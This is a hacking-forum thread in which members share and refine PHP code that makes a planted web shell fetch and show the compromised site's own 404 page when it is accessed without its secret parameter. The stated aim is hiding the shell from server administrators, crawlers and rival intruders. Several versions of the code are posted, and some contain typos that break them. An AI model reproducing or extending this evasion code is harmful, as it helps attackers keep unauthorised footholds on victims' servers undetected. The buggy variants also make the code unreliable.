

Forum:[Hack Forums](#)

Thread: [404 Page of Shell's site](#)

.trigious - November 7, 2015, 8:44 am

Yo.

I am currently working on a shell and thought that this feature would be useful and that I'd share it here. Some shells generate a 404 Page if they don't get accessed with the correct Parameter, but a lot of times it only generates the default Apache 404 site.

This is simple but I thought I'd share the idea.

I did not use the function 'file_get_contents()' because it fails if a 404 code is returned. So what the code does is, it just opens a socket and does a GET request for a random file on the server (which doesn't exist.). It will then get the 404 page of the website, making the shell more secure as it has exactly the same 404 page than other pages on the server.

PHP Code

```
<?php
//Host & Port configuration
$host = $_SERVER['SERVER_ADDR'];
$port = "80";
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$response = socket_connect($sock, $host, $port);

//Generation of random page
$page = "";
$array = array('1', '2', '3', '4', '5', '6', '7', '8', '9');
for($i = 0; $i < 4; $i++)
{
    $page .= $array[rand(0, sizeof($array) - 1)];
}
$page .= ".html";

//Building HTTP request
$in = "GET /$page HTTP/1.1\r\n";
$in .= "Host: www example com\r\n";
$in .= "Connection: Close\r\n\r\n";

//Send
socket_write($sock, $in, strlen($in));

//Receive HTTP request
while($answer = socket_read($sock, 2048))
{
    $answer = strstr($answer, "\n<");
    $answer = str_replace("/". $page, $_SERVER['PHP_SELF'], $answer);
```

```
    echo $answer;
}
```

```
//Set header for Crawlers etc
header("HTTP/1.1 404 Not Found");
?>
```

EDIT: YOu'll have to replace the space in the Host Header with dots, I couldn't post it with dots as I don't have 50 posts, lol.

Mr. Robot - November 7, 2015, 8:47 am

Fixed for copy pasters

Spoiler ([Click to View](#))

(Nov 7, 2015 09:44 AM)Concious Wrote: [\[CITE\]](#) PHP Code

```
<?php
//Host & Port configuration
$host = $_SERVER['SERVER_ADDR'];
$port = "80";
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$response = socket_connect($sock, $host, $port);
```

```
//Generation of random page
$page = "";
$array = array('1', '2', '3', '4', '5', '6', '7', '8', '9');
for($i = 0; $i<4; $i++)
{
    $page .= $array[rand(0, sizeof($array) -1)];
}
$page .= ".html";
```

```
//Building HTTP request
$in = "GET /$page HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
```

```
//Send
socket_write($sock, $in, strlen($in));
```

```
//Receive HTTP request
while($answer = socket_read($sock, 2048))
{
    $answer = strstr($answer, "\n<");
    $answer = str_replace("/".$page, $_SERVER['PHP_SELF'], $answer);
    echo $answer;
}
```

```
//Set header for Crawlers etc
header("HTTP/1.1 404 Not Found");
?>
```

Lovely? - November 7, 2015, 8:48 am

But what exactly does it do, i'm pretty new to that kind of stuff.

.trigious - November 7, 2015, 8:48 am

(Nov 7, 2015 09:47 AM)Mr. Robot Wrote: [\[CITE\]](#) Fixed for copy pasters
Spoiler [\(Click to View\)](#)

Thank you. :)

Freerunning - November 7, 2015, 8:53 am

Cool man I would to develop my own shell too. This is a great help thanks a lot.

.trigious - November 7, 2015, 9:38 am

(Nov 7, 2015 09:53 AM)Freerunning Wrote: [\[CITE\]](#) Cool man I would to develop my own shell too.
This is a great help thanks a lot.

Since I'm new here I didn't exactly knew if there was a need for such codes, but atleast I helped someone. :D Guess I'll continue posting these.

(Nov 7, 2015 09:48 AM)JackCool Wrote: [\[CITE\]](#) But what exactly does it do, i'm pretty new to that kind of stuff.

So, if you request for example google com/lol.php you will receive a custom made 404 page. To ensure that your shell is as good protected as possible, it works like this: If you do not request the shell with your choosen Parameter, it will get the 404 page of the website the shell is running on,so any user / bot who would accidently stumble over your shell won't notice that there is something different.

Lovely? - November 7, 2015, 9:58 am

(Nov 7, 2015 10:38 AM)Concious Wrote: [\[CITE\]](#) Since I'm new here I didn't exactly knew that there was a need for such codes, but atleast I helped someone. :D Guess I'll continue posting these.

So, if you request for example google com/lol.php you will receive a custom made 404 page. To ensure that your shell is as good protected as possible. If you do not request the shell with your choosen Parameter, it will get the 404 page of the shell so any user / bot who would accidently stumble over your shell won't notice that there is something different.

That's really smart actually, clever.

St?lk?r - November 7, 2015, 10:17 am

Nice share mate keep up the good work!

Larry Lovestein - November 7, 2015, 10:46 am

Nice share mate! was useful.

.trigious - November 7, 2015, 10:49 am

(Nov 7, 2015 11:46 AM)Migos ATL Trap Wrote: [\[CITE\]](#) Nice share mate! was useful.
Glad to hear that, I am actually surprised. Gonna keep it up then.

Quad - November 7, 2015, 12:18 pm

Wouldn't you get the same effect from just naming the script something obscure?

.trigious - November 7, 2015, 12:27 pm

(Nov 7, 2015 01:18 PM)Quad Wrote: [\[CITE\]](#) Wouldn't you get the same effect from just naming the script something obscure?

It's very unlikely that someone besides the server admin will find it, yup.

But let's say someone let's a script run that automatically crawls with common dorks and exploits websites to shell them and the shell is called (how original) shell.php. Someone else could search for this, or if it's known that the site is hacked, people will search for the shell. Also, a lot of server

admins are lazy, which means they will see that there is some file they didn't add, check it in their browser and get the 404 page and will go "weird" and close the case.

I'm just trying to make the shell as secure as possible, this protects the shell when it's requested, doesn't help hiding it.

Meowie - November 8, 2015, 11:50 am

Had this in my shell for a while now, thought it's common these days. Apparently not.
Good to see someone making something on his own tho.

.trigious - November 8, 2015, 11:54 am

(Nov 8, 2015 12:50 PM)Meowie Wrote: [\[CITE\]](#) Had this in my shell for a while now, thought it's common these days. Apparently not.
Good to see someone making something on his own tho.
This is why I was not sure if I should share this here or not.

Meowie - November 8, 2015, 11:57 am

Oh, you should probably use another function, since a lot of sites dont have sockets enabled.

.trigious - November 8, 2015, 12:01 pm

(Nov 8, 2015 12:57 PM)Meowie Wrote: [\[CITE\]](#) Oh, you should probably use another function, since a lot of sites dont have sockets enabled.
But wouldn't any Network related function be disabled then? lol.

I mean technically you could read the .htaccess file and get the location of it. Done it with sockets and had it lying around.

Meowie - November 8, 2015, 12:03 pm

(Nov 8, 2015 01:01 PM)Concious Wrote: [\[CITE\]](#) But wouldn't any Network related function be disabled then? lol.

I mean technically you could read the .htaccess file and get the location of it. Done it with sockets and had it lying around.

Don't underestimate peoples' stupidity :p

Edited your code so that it works without sockets enabled.

PHP Code

```
<?php
$page = "";
$array = array('1', '2', '3', '4', '5', '6', '7', '8', '9');
for($i = 0; $i < 4; $i++)
{
    $page .= $array[rand(0, sizeof($array) - 1)];
}
$page .= ".html";

//Building HTTP request
$in = "GET /$page HTTP/1.1\r\n";
$in .= "Host: ".$_SERVER['SERVER_NAME']."\r\n";
$in .= "Connection: Close\r\n\r\n";

//Send
$fp = fsockopen($_SERVER['SERVER_NAME'], 80);
fwrite($fp, $in);
```

```

$response_text = "";
while(!feof($fp)){
    $reponse_text .= fread($fp,4096);
}

$answer = strstr($reponse_text, "\n<");
$cocks = str_replace('/', " , $_SERVER['SCRIPT_NAME']);
$answer = str_replace($page, $cocks, $answer);
echo $answer;

```

stackoverflowin - November 8, 2015, 4:46 pm

(Nov 8, 2015 01:03 PM)Meowie Wrote: [CITE](#) Don't underestimate peoples' stupidity :p
 Edited your code so that it works without sockets enabled.

PHP Code

```

<?php
$page = "";
$array = array('1', '2', '3', '4', '5', '6', '7', '8', '9');
for($i = 0; $i<4; $i++)
{
    $page .= $array[rand(0, sizeof($array) -1)];
}
$page .= ".html";

//Building HTTP request
$in = "GET /$page HTTP/1.1\r\n";
$in .= "Host: ".$_SERVER['SERVER_NAME']."\r\n";
$in .= "Connection: Close\r\n\r\n";

//Send
$fp = fsockopen ($_SERVER['SERVER_NAME'], 80);
fwrite($fp,$in);
$response_text = "";
while(!feof($fp)){
    $reponse_text .= fread($fp,4096);
}

$answer = strstr($reponse_text, "\n<");
$cocks = str_replace('/', " , $_SERVER['SCRIPT_NAME']);
$answer = str_replace($page, $cocks, $answer);
echo $answer;

```

PHP Code

```

<?php
$page .= $array[rand(0, sizeof($array) -1)];

```

Try and stick to

PHP Code

```

<?php
$page .= $array[rand(0, count($array) -1)];

```

This isn't C/C++ ?

Crory - November 29, 2015, 8:20 am

Nice share Dude! Stay HQ!

Regards,
~Crory ?

Liquir - November 29, 2015, 8:29 am

thank you :) il check this out later :)

Rob - December 4, 2015, 10:19 am

Couldn't you just use a function such as this?

PHP Code

```
<?php
function Give404(){
    header('HTTP/1.0 404 Not Found');
    $http404 =
        "<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">" .
        "<html><head>" .
        "<title>404 Not Found</title>" .
        "</head><body>" .
        "<h1>Not Found</h1>" .
        "<p>The requested URL " . htmlspecialchars($_SERVER['REQUEST_URI']) .
" was not found on this server.</p>" .
        "<hr>" .
        "<address>" . $_SERVER['SERVER_SIGNATURE'] . "</address>" .
        "</body></html>";
    echo $http404;
    die();
}
```

.trigious - December 4, 2015, 11:32 am

(Dec 4, 2015 11:19 AM)rxix Wrote: [\[CITE\]](#) Couldn't you just use a function such as this?

PHP Code

```
<?php
function Give404(){
    header('HTTP/1.0 404 Not Found');
    $http404 =
        "<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">" .
        "<html><head>" .
        "<title>404 Not Found</title>" .
        "</head><body>" .
        "<h1>Not Found</h1>" .
        "<p>The requested URL " . htmlspecialchars($_SERVER['REQUEST_URI']) .
" was not found on this server.</p>" .
        "<hr>" .
        "<address>" . $_SERVER['SERVER_SIGNATURE'] . "</address>" .
        "</body></html>";
    echo $http404;
    die();
}
```

}

Technically you can, but what if the site has a default 404 page? It'll look suspicious.

Rob - December 5, 2015, 12:00 am

(Dec 4, 2015 12:32 PM)Concious Wrote: [\[CITE\]](#) Technically you can, but what if the site has a default 404 page? It'll look suspicious.

The function I posted isn't just default it actually will generate a 404 based on the requested URL so it doesn't look very suspicious.

Quad - December 5, 2015, 12:47 am

(Dec 5, 2015 01:00 AM)rxix Wrote: [\[CITE\]](#) The function I posted isn't just default it actually will generate a 404 based on the requested URL so it doesn't look very suspicious.

It replicates Apaches default 404 page which may not be what the site uses.

.trigious - December 5, 2015, 1:13 am

(Dec 5, 2015 01:00 AM)rxix Wrote: [\[CITE\]](#) The function I posted isn't just default it actually will generate a 404 based on the requested URL so it doesn't look very suspicious.

Woops, meant to write "custom 404 page". Well, yes. But it'll look even less suspicious if it's the same 404 page like everywhere else on the site? Also, if you'd have looked into the source code, it will also generate the 404 page based on the requested file but only if the requested file get's shown in the custom 404 page. :)

pop_shell - January 1, 2016, 9:09 am

Aha, nice share thanks. Was looking for something like this for my Shell.